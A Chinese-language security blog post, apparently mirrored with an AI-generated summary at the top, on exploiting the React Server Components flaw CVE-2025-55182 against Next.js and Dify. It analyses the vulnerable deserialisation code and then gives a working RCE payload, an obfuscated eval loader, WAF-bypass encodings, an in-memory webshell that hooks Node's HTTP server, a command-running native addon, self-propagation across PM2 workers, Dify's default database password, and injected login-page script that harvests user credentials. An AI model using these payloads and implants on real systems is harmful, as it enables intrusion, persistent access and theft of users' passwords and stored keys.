CVE-2025-55182 的利⽤、控制与后利⽤
嗯,用户让我总结一下这篇文章的内容,控制在100字以内,而且不需要用“文章内容总结”之类的开头。首先,我得仔细阅读文章,抓住主要点。 文章讲的是React Server Components中的一个严重漏洞,评分是CVSS 10.0。漏洞允许未经身份验证的远程代码执行,影响了Node.js环境下的多个框架和打包工具。作者详细分析了漏洞的触发机制,包括假POC和真实POC的区别,以及如何利用该漏洞进行内存马的注入和传播。 然后,作者讨论了绕过WAF的方法,比如使用UTF-16LE编码和拆分引用。还提到了内存马的设计和实现,包括劫持HTTP处理机制、文件管理、命令执行等功能。最后,以Dify为例展示了漏洞在真实环境中的应用,包括数据库连接、水坑攻击和代理实现等。 总结起来,文章主要分析了React Server Components漏洞的技术细节、利用方法以及实际应用案例。 </think> 文章分析了React Server Components中的严重漏洞(CVE-2025-55182),评分CVSS 10.0。该漏洞允许未经身份验证的远程代码执行,影响Node.js环境下的多个框架和打包工具。文章详细探讨了漏洞的触发机制、利用链构造、内存马实现及绕过WAF的方法,并以Dify为例展示了实际应用案例。 2025-12-19 03:19:14 Author: su18.org(查看原文) 阅读量:11 收藏

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。

很戏剧性的漏洞,从漏洞爆出以来,从第一天的 10.0 引人注目,到假 POC 混淆视听,大家纷纷觉得又是假洞,再到真正的 POC 公布。这个漏洞经历过山车一般的风评,安全圈就是没有虎扑,不然此漏洞的评分将会经历大起大落,从漏洞爆发到现在已经过去两周多,我对此漏洞进行的了深入的研究,深深觉得是一个精妙的漏洞,且影响范围很广。

但是可能因为此漏洞是 NodeJS 并非是 Java 这种安全人员熟知的语言,总是感觉受到的关注度与影响范围并不对等。

但我还是认为,此漏洞获评 10.0 是实至名归。作为全网首发 NodeJS 内存马的实现来说,本篇文章从利用、控制与后利用方向分享我的思路以及实现。

漏洞原理、复现文章等已经有很多优秀的文章已经发布,我也是照着他们抄的,如果你已经对此漏洞有所了解,可以从第三章漏洞利用开始看。

On November 29th, Lachlan Davidson reported a security vulnerability in React that allows unauthenticated remote code execution by exploiting a flaw in how React decodes payloads sent to React Server Function endpoints.

Even if your app does not implement any React Server Function endpoints it may still be vulnerable if your app supports React Server Components.

This vulnerability was disclosed as CVE-2025-55182 and is rated CVSS 10.0.

The vulnerability is present in versions 19.0, 19.1.0, 19.1.1, and 19.2.0 of:

React frameworks & bundlers are affected: next, react-router, waku, @parcel/rsc, @vitejs/plugin-rsc, and rwsdk.

最近更新

These instructions have been updated to include the new vulnerabilities:

They also include the additional case found, patched, and disclosed as CVE-2025-67779.

在 x 上,有用户称其为 React2Shell,随后还建立了网站:https://react2shell.com/

漏洞点位于 React Server Components 中的 React Server Functions

React 服务器端函数允许客户端调用服务器上的函数。React 提供了一系列集成点和工具,供框架和打包工具使用,以帮助 React 代码在客户端和服务器端同时运行。React 将客户端请求转换为 HTTP 请求,并将其转发到服务器。在服务器端,React 将 HTTP 请求转换为函数调用,并将所需数据返回给客户端。

因为这个功能实在程序打包时打入进去的,因此尽管开发者没有主动使用 RSF 功能,也会受到漏洞影响。

1. 调试环境搭建

按照 P 牛文章逐步操作即可。

创建漏洞版本 next app

npx [email protected] nextjs-cve-2025-55182 --yes

启动前添加 NODE_OPTIONS :--inspect

# 如果你是Windows系统:set NODE_OPTIONS="--inspect"
export NODE_OPTIONS="--inspect"
npm run dev

使用 chrome dev 进行调试:chrome://inspect/

关闭排除列表,将 node_modules 加入 source map。

2. 漏洞分析

① day0 fake poc

https://github.com/ejpir/CVE-2025-55182-research/blob/main/exploit-rce-v4.js

这个 github 文件提出的漏洞点位于 requireModule 方法

function requireModule(metadata) {
      var moduleExports = __webpack_require__(metadata[0]);
      if (4 === metadata.length && "function" === typeof moduleExports.then)
        if ("fulfilled" === moduleExports.status)
          moduleExports = moduleExports.value;
        else throw moduleExports.reason;
      return "*" === metadata[2]
        ? moduleExports
        : "" === metadata[2]
          ? moduleExports.__esModule
            ? moduleExports.default
            : moduleExports
          : moduleExports[metadata[2]];
    }

关键行是 moduleExports, 使用 [] 方括号访问属性时,JavaScript 会搜索整个原型链

moduleExports[metadata[2]]

回溯调用链,在 Server 中有两个调用方法,其中一个是 loadServerReference,用于在解析表单提交时的 decodeAction 方法中调用:

exports.decodeAction = function (body, serverManifest) {
      var formData = new FormData(),
        action = null;
      body.forEach(function (value, key) {
        key.startsWith("$ACTION_")
          ? key.startsWith("$ACTION_REF_")
            ? ((value = "$ACTION_" + key.slice(12) + ":"),
              (value = decodeBoundActionMetaData(body, serverManifest, value)),
               // 漏洞触发点
              (action = loadServerReference(
                serverManifest,
                value.id,
                value.bound
              )))
            : key.startsWith("$ACTION_ID_") &&
              ((value = key.slice(11)),
              (action = loadServerReference(serverManifest, value, null)))
          : formData.append(key, value);
      });
      return null === action
        ? null
        : action.then(function (fn) {
            return fn.bind(null, formData);
          });
    };

请求包

------Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"
// 如果字段名以 "$ACTION_" 开头,说明是 action 相关的元数据
// "$ACTION_REF_" 开头,这是"引用型" action,需要从另一个字段读取元数据
// "$ACTION_0:" 元数据前缀

------Boundary
Content-Disposition: form-data; name="$ACTION_0:0"
// 解析 "$ACTION_0:0" 字段中的 JSON
// 得到 id 和 bound

{"id":"xxx","bound":["xxx"]}
------Boundary--

关键触发代码:

Promise.all([bound, bundlerConfig]).then(function (_ref) {
            _ref = _ref[0];
          // 调用 requireModule
            var fn = requireModule(serverReference);
            return fn.bind.apply(fn, [null].concat(_ref));
          })

这部分有点类似 Java 的反射或 PHP 的回调函数,在预加载模块执行完毕后,使用 fn.bind.apply 就相当于原始的 id 和 bound 如果如下格式:

{"id":"aaaaa#bbbb","bound":["cccc"]}

相当于调用

aaaaa.bbbbb.bind(null,"cccc")

此时如果后续代码中调用了这个解析后的 action,则相当于:

aaaaa.bbbbb("cccc")

这是个假的漏洞点吗?也不是,能 RCE 吗?好像不能。

前提条件:看 server-reference-manifest 里面都有什么,export 的对象有恶意方法或者export 一个函数,函数里有恶意操作。

就像这个项目里本身手动加入的实现一样,实际找了几个项目,没有能够利用的。

② day1 real poc

https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3

第一天被虚假 POC 带跑偏,分析了一天。第二天老外给出了真 POC,天都塌了。

这何尝不是一种兵法呢。这次吃一堑长一智了,复现这种级别的漏洞得带脑子,不然十分被动。

跟一下真 POC 的触发,以 Next 环境为例:

入口还是 handleAction 方法来完成请求的处理,进入 handleAction 后,首先会调用 getServerActionRequestMetadata 函数提取请求元数据。在getServerActionRequestMeatdata 函数中,将尝试提取 header 中的 next-action,如果存在且不等于 0,返回的isFetchAction 取值为 true,同时如果 Content-Typemultipart/form-data 类型,返回值 isMultiparAction 取值为 true

在后续处理中存在如下判断,如果 isMultiparActionisFetchAction 均为 true ,那么将引入 busboy 这个库来做 http 解析,这个库常用来处理 multipart/form-data 请求,与上面的判断条件一致

decodeReplyFromBusboy 方法完成 Flight 反序列化操作,对于 field 类型的请求使用 resolveField 方法处理。

exports.decodeReplyFromBusboy = function (
      busboyStream,
      webpackMap,
      options
    ) {
      var response = createResponse(
          webpackMap,
          "",
          options ? options.temporaryReferences : void 0
        ),
        pendingFiles = 0,
        queuedFields = [];
      busboyStream.on("field", function (name, value) {
        0 < pendingFiles
          ? queuedFields.push(name, value)
          : resolveField(response, name, value);
      });

resolveField

function resolveField(response, key, value) {
      response._formData.append(key, value);
      var prefix = response._prefix;
      key.startsWith(prefix) &&
        ((response = response._chunks),
        (key = +key.slice(prefix.length)),
        (prefix = response.get(key)) && resolveModelChunk(prefix, value, key));
    }

resolveModelChunk -> initializeModelChunk (JSON 解析)-> reviveModel,这是一个很关键的方法

function reviveModel(response, parentObj, parentKey, value, reference) {
      if ("string" === typeof value)
        return parseModelString(
          response,
          parentObj,
          parentKey,
          value,
          reference
        );
      if ("object" === typeof value && null !== value)
        if (
          (void 0 !== reference &&
            void 0 !== response._temporaryReferences &&
            response._temporaryReferences.set(value, reference),
          Array.isArray(value))
        )
          for (var i = 0; i < value.length; i++)
            value[i] = reviveModel(
              response,
              value,
              "" + i,
              value[i],
              void 0 !== reference ? reference + ":" + i : void 0
            );
        else
          for (i in value)
            hasOwnProperty.call(value, i) &&
              ((parentObj =
                void 0 !== reference && -1 === i.indexOf(":")
                  ? reference + ":" + i
                  : void 0),
              (parentObj = reviveModel(
                response,
                value,
                i,
                value[i],
                parentObj
              )),
              void 0 !== parentObj ? (value[i] = parentObj) : delete value[i]);
      return value;
    }

流程如:

             reviveModel(value)
                           │
           ┌───────────────┼───────────────┐
           ▼               ▼               ▼
      string 类型      object 类型      其他类型
           │               │               │
           ▼               │               ▼
   parseModelString()      │           直接返回
   (处理 $开头特殊编码)   	  │
                           │
              ┌────────────┴────────────┐
              ▼                         ▼
          Array                      Object
              │                         │
              ▼                         ▼
      遍历每个索引 i              遍历每个属性 key
      递归调用 reviveModel        递归调用 reviveModel

parseModelString 方法是 React Server Components (RSC) 中用于解析服务器端序列化数据的核心函数。它处理以 $ 开头的特殊编码字符串,将其还原为对应的 JavaScript 值。这个方法很长,但是我还是将他粘贴到这里,因为这个方法很关键。

function parseModelString(response, obj, key, value, reference) {
      if ("$" === value[0]) {
        switch (value[1]) {
          case "$":
            return value.slice(1);
          case "@":
            return (
              (obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
            );
          case "F":
            return (
              (value = value.slice(2)),
              (value = getOutlinedModel(
                response,
                value,
                obj,
                key,
                createModel
              )),
              loadServerReference$1(
                response,
                value.id,
                value.bound,
                initializingChunk,
                obj,
                key
              )
            );
          case "T":
            if (
              void 0 === reference ||
              void 0 === response._temporaryReferences
            )
              throw Error(
                "Could not reference an opaque temporary reference. This is likely due to misconfiguring the temporaryReferences options on the server."
              );
            return createTemporaryReference(
              response._temporaryReferences,
              reference
            );
          case "Q":
            return (
              (value = value.slice(2)),
              getOutlinedModel(response, value, obj, key, createMap)
            );
          case "W":
            return (
              (value = value.slice(2)),
              getOutlinedModel(response, value, obj, key, createSet)
            );
          case "K":
            obj = value.slice(2);
            var formPrefix = response._prefix + obj + "_",
              data = new FormData();
            response._formData.forEach(function (entry, entryKey) {
              entryKey.startsWith(formPrefix) &&
                data.append(entryKey.slice(formPrefix.length), entry);
            });
            return data;
          case "i":
            return (
              (value = value.slice(2)),
              getOutlinedModel(response, value, obj, key, extractIterator)
            );
          case "I":
            return Infinity;
          case "-":
            return "$-0" === value ? -0 : -Infinity;
          case "N":
            return NaN;
          case "u":
            return;
          case "D":
            return new Date(Date.parse(value.slice(2)));
          case "n":
            return BigInt(value.slice(2));
        }
        switch (value[1]) {
          case "A":
            return parseTypedArray(response, value, ArrayBuffer, 1, obj, key);
          case "O":
            return parseTypedArray(response, value, Int8Array, 1, obj, key);
          case "o":
            return parseTypedArray(response, value, Uint8Array, 1, obj, key);
          case "U":
            return parseTypedArray(
              response,
              value,
              Uint8ClampedArray,
              1,
              obj,
              key
            );
          case "S":
            return parseTypedArray(response, value, Int16Array, 2, obj, key);
          case "s":
            return parseTypedArray(response, value, Uint16Array, 2, obj, key);
          case "L":
            return parseTypedArray(response, value, Int32Array, 4, obj, key);
          case "l":
            return parseTypedArray(response, value, Uint32Array, 4, obj, key);
          case "G":
            return parseTypedArray(response, value, Float32Array, 4, obj, key);
          case "g":
            return parseTypedArray(response, value, Float64Array, 8, obj, key);
          case "M":
            return parseTypedArray(response, value, BigInt64Array, 8, obj, key);
          case "m":
            return parseTypedArray(
              response,
              value,
              BigUint64Array,
              8,
              obj,
              key
            );
          case "V":
            return parseTypedArray(response, value, DataView, 1, obj, key);
          case "B":
            return (
              (obj = parseInt(value.slice(2), 16)),
              response._formData.get(response._prefix + obj)
            );
        }
        switch (value[1]) {
          case "R":
            return parseReadableStream(response, value, void 0);
          case "r":
            return parseReadableStream(response, value, "bytes");
          case "X":
            return parseAsyncIterable(response, value, !1);
          case "x":
            return parseAsyncIterable(response, value, !0);
        }
        value = value.slice(1);
        return getOutlinedModel(response, value, obj, key, createModel);
      }
      return value;
    }

最后到达漏洞点,getOutlinedModel 方法:

function getOutlinedModel(response, reference, parentObject, key, map) {
      reference = reference.split(":");
      var id = parseInt(reference[0], 16);
      id = getChunk(response, id);
      switch (id.status) {
        case "resolved_model":
          initializeModelChunk(id);
      }
      switch (id.status) {
        case "fulfilled":
          parentObject = id.value;
          for (key = 1; key < reference.length; key++)
            parentObject = parentObject[reference[key]];
          return map(response, parentObject);
        case "pending":
        case "blocked":
        case "cyclic":
          var parentChunk = initializingChunk;
          id.then(
            createModelResolver(
              parentChunk,
              parentObject,
              key,
              "cyclic" === id.status,
              response,
              map,
              reference
            ),
            createModelReject(parentChunk)
          );
          return null;
        default:
          throw id.reason;
      }
    }

这段代码直接使用 reference 数组中的值作为属性键来遍历对象,没有任何过滤或验证

攻击者可以构造包含 __proto__constructor 的引用路径来进行原型链污染

1. 利用链构造

先提几个前置知识

① JavaScript 的原型链

在 JavaScript 中,对象是基于原型的。

  • 每个对象都有一个 __proto__ 属性,指向它的原型对象。
  • 默认情况下,普通对象的原型是 Object.prototype
  • 如果你修改了 Object.prototype 上的属性, 所有对象都会继承这个修改。

② JavaScript 的 Promise 机制

在 JavaScript 的 Promise 机制中,如果一个对象拥有 then 方法,它就被视为 Thenable。当 await 一个 Thenable 对象时,JS 引擎会自动调用它的 then 方法。

③ payload 构造

按照公开的 poc

{
    "then":"$1:__proto__:then",
    "status":"resolved_model",
    "reason":-1,
    "value":"{\"then\":\"$B\"}",
    "_response":{
        "_prefix":"[ payload ]",
        "_chunks":"$Q2",
        "_formData":{"get":"$1:constructor:constructor"}
    }
}

Kcyber 师傅的文章里写了流程:

  • $@0 - 获取 Chunk 对象
  • $1:__proto__: then - 创建了一个 Thenable 对象
  • $1:constructor:constructor - 解析到 _response:_formData:get 时将得到 new Function
  • response._formData.get - 将被污染为 Function 对象,并进入 $B 解析流程
  • 此时 response._formData.get 将变成 new Function 调用,参数为 _prefix 可控,因此可以触发任意代码执行

最终触发点:

  case "B":
            return (
              (obj = parseInt(value.slice(2), 16)),
              response._formData.get(response._prefix + obj)
            );

AI 画的表格

字段 作用
then $1:__proto__:then 核心:污染 Object.prototype.then,使所有对象变成 thenable
status resolved_model getOutlinedModel 认为 chunk 需要初始化
reason -1 伪造 chunk 结构的一部分
value {"then":"$Badw"} 内嵌的 payload,$B 触发 formData.get()
_response._prefix RCE 命令 恶意代码字符串
_response._chunks $Q2 $Q 触发 createMap,创建 Map 对象
_response._formData.get $1:constructor:constructor 关键:获取 Function 构造函数

AI 画的流程图

    恶意 JSON 被解析
                          │
                          ▼
            ┌─────────────────────────────┐
            │ reviveModel 递归处理        │
            └─────────────────────────────┘
                          │
          ┌───────────────┼───────────────┐
          ▼               ▼               ▼
    处理 "then"      处理 "value"    处理 "_response"
          │               │               │
          ▼               ▼               ▼
  parseModelString  parseModelString  递归处理嵌套对象
          │               │               │
          ▼               ▼               ▼
  getOutlinedModel  解析内部 JSON    污染 _formData.get
          │               │               │
          ▼               ▼               ▼
  ┌───────────────┐       │               │
  │ 路径遍历       │       │               │
  │ __proto__     │       │               │
  │ 原型链污染      │       │               │
  └───────────────┘       │               │
          │               ▼               │
          │         "$Badw" 触发          │
          │         formData.get()        │
          │               │               │
          │               ▼               │
          │      get 已被污染为 Function  │◄─┘
          │               │
          │               ▼
          │      Function(恶意代码)()
          │               │
          ▼               ▼
   Object.prototype    执行 RCE
   .then 被污染        弹出计算器

结合 javascript 的动态特性,修改一下使用 eval 将复杂代码隐藏

var g=(function(){return this})()||globalThis;var zlib;try{zlib=g.process.mainModule.require('zlib');}catch(e){try{zlib=require('zlib');}catch(e2){zlib=null;}}
var c='[这里写恶意代码,直线复杂执行功能]';
try{eval(zlib.gunzipSync(Buffer.from(c,'base64')).toString())}catch(e){}throw 'ok';

最后用一个 throw 防止系统卡住。

2. WAF 绕过

① JSON中常规的 utf-8 编码

② busboy - utf16le/ucs2

P 牛在推特上公布的姿势。

解析 multipart/form-data 的过程是由 busboy 来完成的。

busboy 会通过 getDecoder 函数来提取 charset 对应的编码方式,然后对传递过来的数据包进行解码,并转发给 ReAct 进行后续处理。

因此可以使用 utf16le/ucs2 的方式进行编码。

busboy 还有一个 base64,但是不能用。

Busboy 会正确解析头部,并在 field 事件的 info.encoding 属性中标记为 base64 。 但是 传递给回调函数的 value 参数依然是原始的 Base64 字符串(程序 BUG,谁去提个 PR 就支持了,手动狗头)。

③ 经典大包

无需多言。

④ 引用拆分

通过 $$@$Hex 的解析特性拆分引用, 以及随机 payload JSON、随机 multipart 块来混淆流量,降低实际 payload 特征性。

这部分主要是内存马的实现,目前已经实现了任意 JavaScript 代码执行,接下来就是想办法注入内存马了。

核心原理还是劫持(Hijacking)的思想,思路其实跟 Netty 内存马的实现比较近似,通过替换关键处理模块的方式达到内存马的注入。

1. Node.js 的 HTTP 处理机制

在 Node.js 中,所有的 HTTP 服务器(无论是原生的 http 模块,还是 ExpressKoa 框架)底层都依赖于 http.Server 。这个类继承自 EventEmitter

当一个新的 HTTP 请求到达时,Server 会触发(emit)一个 request 事件,通知所有的监听器来处理这个请求。

内存马就是重写(Hook)了 http.Server 原型上的 emit 方法

简写代码如下:

var _origEmit = http.Server.prototype.emit; // 1. 保存原始方法

// 2. 覆盖 emit 方法
http.Server.prototype.emit = function(type, req, res) {
    // 3. 判断是否是 request 事件,并且请求头中包含特定特征(如密码)
    if (type === 'request' && isMalicious(req)) {
        // 4. 执行恶意逻辑 (内存马功能)
        handleShell(req, res);
        return true; // 拦截事件,不再向下传递
    }
    // 5. 正常请求,调用原始方法,业务无感知
    return _origEmit.apply(this, arguments);
};

2. 可能会面临的问题

Node.js 的生态很复杂,有原生环境、Webpack 打包环境、Electron 环境等。

在打包环境中,全局的 require 可能会被阉割或改名。

所以在通用内存马的编写中,在引入依赖包时要注意。

function safeReq(m) {
    // 尝试从 process.mainModule.require 获取
    // 尝试从 global.require 获取
    // 尝试从 process.binding('natives') 获取 (Node 内部 API)
    // ...
}

3. Webshell 设计

类比 Java Webshell 的设计,JavaScript 的 webshell 其实更加简单:

  • defineClass : eval

  • 插件加载:将功能存为一个 function,再次进行调用

  • 流量伪装、动态切换流量等一致实现即可

4. 生成器及配置

混淆配置

基本就是 Webshell 的一些常规功能,搭好框架,其他的交给 AI 来写,直接花钱用最贵的模型大力出奇迹,写的又快又准。

1. 基础信息

2. 文件管理

3. 命令执行

这里有个要注意的问题,命令执行等其他可能时间较长的操作,避免使用 execSync ,因为它是同步调用:主线程会等子进程结束并返回结果,期间 Node 的事件循环被阻塞。此时你一个阻塞命令直接给服务器 hang 住了。

4. JS 代码执行

5. 进程列表

linux 读文件,windows 执行命令

6. 网络连接

linux 读文件,windows 执行命令

7. 压缩与解压缩

8. Native Addon

Node 还支持了一个 Native Addon,类似于 Java 的 JNI。该机制允许动态加载任意 .node 文件,而此文件的本质就是一段 C/C++ 编写的共享库。

示例代码如下,addon.cpp 接受单个函数,并使用 popen 执行命令并返回结果

#include <napi.h>
#include <cstdio>
#include <string>
#include <array>
#include <memory>
#include <stdexcept>

std::string exec(const char* cmd) {
    std::array<char, 128> buffer;
    std::string result;
    std::unique_ptr<FILE, decltype(&pclose)> pipe(popen(cmd, "r"), pclose);
    if (!pipe) {
        return "Error: popen() failed!";
    }
    while (fgets(buffer.data(), buffer.size(), pipe.get()) != nullptr) {
        result += buffer.data();
    }
    return result;
}

Napi::String RunMethod(const Napi::CallbackInfo& info) {
    Napi::Env env = info.Env();

    if (info.Length() < 1) {
        Napi::TypeError::New(env, "Wrong number of arguments").ThrowAsJavaScriptException();
        return Napi::String::New(env, "");
    }

    if (!info[0].IsString()) {
        Napi::TypeError::New(env, "Argument must be a string").ThrowAsJavaScriptException();
        return Napi::String::New(env, "");
    }

    std::string cmd = info[0].As<Napi::String>().Utf8Value();
    std::string output = exec(cmd.c_str());

    return Napi::String::New(env, output);
}

Napi::Object Init(Napi::Env env, Napi::Object exports) {
    exports.Set(Napi::String::New(env, "run"), Napi::Function::New(env, RunMethod));
    return exports;
}

NODE_API_MODULE(addon, Init)

使用 node-gyp 进行编译

{
  "targets": [
    {
      "target_name": "addon",
      "cflags!": [ "-fno-exceptions" ],
      "cflags_cc!": [ "-fno-exceptions" ],
      "sources": [ "addon.cpp" ],
      "include_dirs": [
        "<!@(node -p \"require('node-addon-api').include\")"
      ],
      "defines": [ "NAPI_DISABLE_CPP_EXCEPTIONS" ]
    }
  ]
}

编译命令

npm init -y
npm install node-addon-api
npx node-gyp rebuild

build 结果位于 build/Release/addon.node

所有的研究最后都要落在实战中,不然将毫无意义。

其实大多数 AI 相关的项目,或者使用 AI 编写的项目都使用了 Next.js ,这个框架的使用量与 AI 的发展具有紧密关联。

但比较受到关注的还是 Dify ,此处以 Dify 为例,探讨此漏洞在真实世界攻防的情况。

1. PM2 cluster worker

Dify 的 docker 配置使用 Next.js standalone 模式,通过 PM2 以 cluster 模式运行。

Node.js 是单线程的。为了利用多核 CPU,生产环境通常使用 cluster 模块或 pm2 进程管理器启动多个 Worker 进程 。

PM2 是进程管理器:提供“cluster 模式”(exec_mode: "cluster"),它基于 Node 的 cluster(或等效机制)帮你启动和管理多个 worker、自动重启、无缝重载、日志与监控等功能。

由于 Dify 的配置文件配置了 PM2_INSTANCES=2,因此在面对 Dify 的环境时,相当于是一个天然有两台机器的负载。

此时有两种方案:

  1. 两个都打入,并在操作 webshell 时顶着负载执行。(如果给 webshell 做了自动重试之类的功能,这种情况是可以接受的);
  2. 在内存马中加入自动传播机制。

传播机制代码如下:

function propagateToWorkers(){var cnt=0;try{if(cluster&&cluster.workers){for(var id in cluster.workers){var w=cluster.workers[id];if(w&&w.isConnected&&w.isConnected()){try{w.send({_t:'_SUSHELL_',_c:'('+SELF_CODE+')()'});cnt++;}catch(e){}}}}}catch(e){}try{var pm2=null;try{pm2=safeReq('pm2');}catch(e){}if(pm2){pm2.connect(function(err){if(!err){pm2.list(function(e,list){if(!e&&list){for(var i=0;i<list.length;i++){var p=list[i];if(p.pm_id!==parseInt(process.env.pm_id||'-1')){try{pm2.sendDataToProcessId(p.pm_id,{type:'process:msg',data:{_t:'_SUSHELL_',_c:'('+SELF_CODE+')()'},topic:'_SUSHELL_'},function(){});cnt++;}catch(e){}}}}pm2.disconnect();});}})};}catch(e){}return cnt;}

流程:

  1. 初始注入:漏洞利用代码在某个 worker 中执行 loader;
  2. 自动传播:loader 立即通过 IPC 将自身代码发送给其他 worker;
  3. 其他 worker 接收:收到消息后执行相同的 loader 代码。

2. 数据库连接

由于 Dify 是 Docker 化部署,Next.js 前端单独部署在一台 docker 中,因此仅仅是拿到这台 docker 的权限意义不大,必须要进一步利用获得更大的战果。

如果目标可以出网,那自然是可以直接上 c2 。这里考虑的自然都是最极端的情况。

最容易想到的就是如下几个方面:

  1. 获取用户名密码,登陆后台;
  2. 获取系统内保存的 AI Key;
  3. 获取配置的工作流编排,RAG配置等 AI 相关敏感信息;
  4. 利用此项目进行进一步的内网或横向甚至跨网段。

而获取这些敏感信息,基本都要在数据库中获取

Docker 版本默认:

  • 连接地址:db (直接写就可以,会有 docker 网络配置,也可以使用 ping -c 1 db

  • 连接端口:5432

  • 数据库:dify

  • 用户名:postgres

  • 密码:difyai123456

虽然 NodeJS 是有依赖库可以进行数据库连接的,但是在 Dify 以及大多数前端环境中,很少由 NodeJS 直接操作数据库(除了一些一句话出一个网站的 AI 系统,可以直接由 JS 操作数据库,省去后端的部分)。所以也无法直接使用库函数连接。

所以这里依然只能是大力出奇迹,使用 js 直接实现一个原生 postgresql 的链接协议,直接去链目标数据库即可。

3. 水坑实现

如果非 docker 部署,或者修改数据库密码,又或者网络限制等等原因(你懂得,实战中总有惊喜)导致无法连上数据库查询凭据。

此时在有了 Next.js 权限的情况下,很容易想到的就是抓密码。

但实际因为 Dify 环境是前后端分离 + Nginx,因此登陆之类的请求都由 nginx 直接转发给 python 后端,而从前端访问不到。

所以想达到抓密码的功能,我实现了一个简单的通过水坑攻击抓取前端登陆账户密码的功能,思路如下:

  1. 由于项目网站打开就是登陆页面 /signin,因此可以在内存马中针对此路径进行拦截;
  2. 在登录响应中返回恶意 javascript 代码;
  3. 代码劫持登陆按钮,在用户输入用户密码点击登录后,同时将用户名、密码发送至前端路径;
  4. Next.js 内存马捕获和保存收到的用户名密码。

基于此逻辑实现了如下效果的水坑密码抓取。

这里虽然使用水坑实现了抓取密码的功能,但是既然都实现水坑了,那可以执行更多的恶意逻辑如偷取浏览器凭证、使用浏览器漏洞获取用户权限等等。。。

4. 代理实现

所有控制手段最重要的需求都是正向代理,简单实现一个,但是对于 Node.js 这种单线程+异步的设计来说,在面对高并发的隧道场景下,还是有很大问题。这里基于简单 HTTP 轮询实现的 socks5 代理。

5. suo5

简单兼容一个 socks5 代理并未让我感到满足,正好某位师傅询问我此漏洞场景能否实现 suo5 的打入,跟师傅讨论了一下,最终实现了 suo5 功能。

短连接

半双工

这个本来想给项目提 PR 的,但是后来看到 issues,作者说有点刑,那还是别刑了。

1. Thenable的由来

2. Next.js调试环境配置

人工深度调试剖析 CVE-2025-55182 React4Shell 反序列化漏洞(一)

人工调试剖析 React4Shell 反序列化漏洞(二)- 原理、利用及 Bypass WAF 等

Critical Security Vulnerability in React Server Components


文章来源: https://su18.org/post/CVE-2025-55182/
如有侵权请联系:admin#unsafe.sh